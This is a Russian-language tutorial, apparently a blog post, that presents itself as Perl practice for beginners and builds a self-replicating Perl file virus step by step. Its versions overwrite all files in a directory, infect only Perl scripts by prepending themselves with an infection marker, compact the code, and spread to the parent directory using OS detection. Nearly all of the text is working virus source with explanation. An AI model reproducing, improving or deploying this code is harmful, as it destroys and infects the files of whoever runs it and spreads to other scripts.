• Партнер

  • Единственная цель этой статьи - получение дополнительных знаний, которые помогут начинающим программистам
    (таким как я :-)) в освоении языка Perl. Код, использованный здесь, 
    является достаточно простым для понимания теми, кто уже имеет базисные знания
    Perl. Примеры программ прошли успешное тестирование на Linux Red Hat 7.2 c 
    Perl 5.6.0. Начнем мы с простой программы, которая будет просто
    переписывать себя в другие файлы. Постепенно мы будем добавлять в нее
    новые функции. Вот исходник этой программы:

    #!/usr/bin/perl

    open(File,$0);
    @Virus=<File>;
    close(File);

    foreach $FileName (<*>)
    {
    open(File, ">$FileName");
    print File @Virus;
    close (File);
    }

    Первая строка, надеюсь, всем понятна. Во второй строке мы открываем сами
    себя. Имя исполняемого файла находится в $0. Затем мы передаем содержание
    файла в массив @Virus. Теперь каждое значение массива содержит строки
    нашего файла. Так как это все, что мы хотим сделать с нашим файлом, мы
    закрываем его. Далее мы начинаем поиск других файлов. Ищем все файлы в
    данном каталоге (<*>) и передаем их значение в $FileName. Мы открываем
    файлы в режиме записи ( ">$FileName" ) и просто перезаписываем их нашим
    кодом. Также можно использовать >>$FileName для добавления в конец файла.
    Итак, таким образом все файлы будут перезаписаны нашей программой. 

    Теперь сделаем так, что воздействию программы будут подвергаться только
    Perl-файлы. 

    #!/usr/bin/perl
    open(File,$0);
    @Virus=<File>;
    close(File);

    foreach $FileName (<*>)
    {
    if ((-r $FileName) && (-w $FileName) && (-f $FileName))
    {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
    {
    open(File, ">$FileName");
    print File @Virus;
    close (File);
    }
    }
    }

    Первые несколько строк понятны из предыдущего примера. Затем следует
    if-конструкция. Она отфильтровывает все файлы, которые доступны на чтение(-r), запись (-w), и которые являются файлами а не каталогами (-f).
    Соединены эти критерии с помощью && ( логический AND ). Затем открываем
    файл на чтение, помещаем его в переменную $Temp и закрываем. Далее следует
    проверка первой (@Temp[0]) и второй (@Temp[1]) строк на наличие строки
    "perl", чтобы проверить является ли файл perl-программой. Все остальное
    должно быть понятно. 

    Можно также добавить проверку является ли файл исполняемым (-x $FileName),
    но мы не сможем осуществить эту проверку в среде Windows, а также из-за
    того, что много людей все-таки начинают файл со строки интерпретатора, не
    устанавливая флаг исполнения. Еще одна возможная проверка может состоять в
    команде "file" для того, чтобы убедиться, что это perl-программа. Но
    данная команда тоже не будет работать в среде Windows. 

    Теперь займемся более серьезными вещами - добавлением. Посмотрите на
    исходник:

    #!/usr/bin/perl
    #PerlDemo # Новая строка

    open(File,$0);
    @Virus=<File>;
    @Virus=@Virus[0...24]; # Новая строка
    close(File);

    foreach $FileName (<*>)
    {
    if ((-r $FileName) && (-w $FileName) && (-f $FileName))
    {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) #Новая строка
    {
    if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
    {
    open(File, ">$FileName");
    print File @Virus;
    print File @Temp; # Новая строка
    close (File);
    }
    }
    }
    }

    За исключением добавления новых строк, практически ничего не изменилось.
    Из изменений можно отметить то, что мы берем лишь 24 строки исполняемого в
    данный момент времени файла (зараженного). Это из-за того, что мы
    прикрепляем оригинальный файл к заражаемому. Поэтому новый файл начинается
    с вируса, затем пустая строка и далее старый файл,
    начинающийся с "#!/usr/bin/perl". Новая проверка на "PerlDemo", чтобы
    знать, заражен ли файл или нет. При написании подобных программ, главное - оптимизация кода, но здесь я не
    смог придумать что-либо кроме соединения строк вместе:

    #!/usr/bin/perl #PerlDemo
    open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
    foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f 
    $FileNam
    e)) {
    open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ 
    "PerlDemo
    ") or (@Temp[2] =~ "PerlDemo"))
    { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, 
    ">$FileName")
    ; print File @Virus;
    print File @Temp; close (File); } } } }

    Теперь добавим функцию перехода из каталога в каталог. Взгляните:

    #!/usr/bin/perl
    #Perl Virus - Downward Travelling
    open(File,$0);
    @Virus=<File>;
    @Virus=@Virus[0...24];
    close(File);

    &InfectFile; # Новая строка
    chdir('..'); # Новая строка
    &InfectFile; # Новая строка

    sub InfectFile { # Новая строка
    foreach $FileName (<*>) {
    if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
    if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) {#Новая строка
    open(File, ">$FileName");
    print File @Virus;
    print File @Temp;
    close (File);
    }}}}}

    Что мы сделали? Первое изменение состоит в том, что мы помещаем процедуру
    поиска в подпрограмму, которая исполняется два раза из главной программы.
    Другое изменение это команда chdir('..'), которая помогает нам переходить
    на один каталог. Это должно сработать для UNIX-систем и
    DOS/Windows-систем, но вызовет ошибки в среде MacOS, т.к. эта система
    использует '::' для перехода. Другое изменение состоит в проверке (@Temp[1]=~ "perl",,i). ",,i" означает
    то, что мы ищем строку "perl", игнорируя регистр. Т.е. мы сможем найти
    perl-файлы, начинающиеся с #С:\Programme\Perl\Perl.exe. Некоторые могут заметить, что мы не восстанавливаем исходный каталог.
    Можете назвать это багом 🙂 Это одна из проблем, обусловленых
    несовместимостью различных операционных систем. В UNIX/Linux системах мы
    можем получить текущий каталог с помощью $CurrPath='pwd'; Но это не
    сработает в Win и MacOS. В то же время, мы можем определить операционную систему при помощи
    переменной $^O, которая существует с Perl 5.0002. Следующий код поможет
    определить, находимся ли мы в Dos, Windows, Linux, BSD или Solaris
    системах. 

    #!/usr/bin/perl
    #Perl Virus - Downward Travelling
    open(File,$0);
    @Virus=<File>;
    @Virus=@Virus[0...30];
    close(File);

    &InfectFile;
    if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = 
    `pwd
    ` } # Новая строка
    if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }
    # Новая строка
    $DotDot = '..';
    # Новая строка
    if ($^O =~ "MacOS") { $DotDot = "::" }
    # Новая строка
    chdir($DotDot);
    # Новая строка
    &InfectFile;
    chdir($OldDir);
    # Новая строка

    sub InfectFile {
    foreach $FileName (<*>) {
    if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
    if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
    open(File, ">$FileName");
    print File @Virus;
    print File @Temp;
    close (File);
    }}}}}

    Итак, если это будет UNIX система (Linux, BSD, Solaris), то мы получим
    текущий каталог с помощью pwd-команды. В среде Windows осуществляем это с
    помощью cd, команды, при помощи которой можно изменить текущий каталог, но
    также можно получить путь. Затем мы устанавливаем '..', используемые на
    почти всех системах, или '::', если это MacOS. Возможно, следует сделать
    лишь две проверки, одну для MacOS и установить '::', и одну для
    Dos, Windows, OS/2 для использования cd для получения каталога. Мы используем
    '..' и pwd, т.к. существует множество UNIX и BSD версий, на который
    портирован Perl и у них всех есть pwd команда. Если мы захотим переход на каталоги,
    располагающиеся выше текущей директории, возникает та же проблема в разнице операционных систем.
    Разница заключается в том, как указать корневую директорию. В Linux только
    одна корневая директория '/', Windows и Dos имеют один корневой каталог
    для каждого диска A:, C:, D: ... 

    (Продолжение следует)

     

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии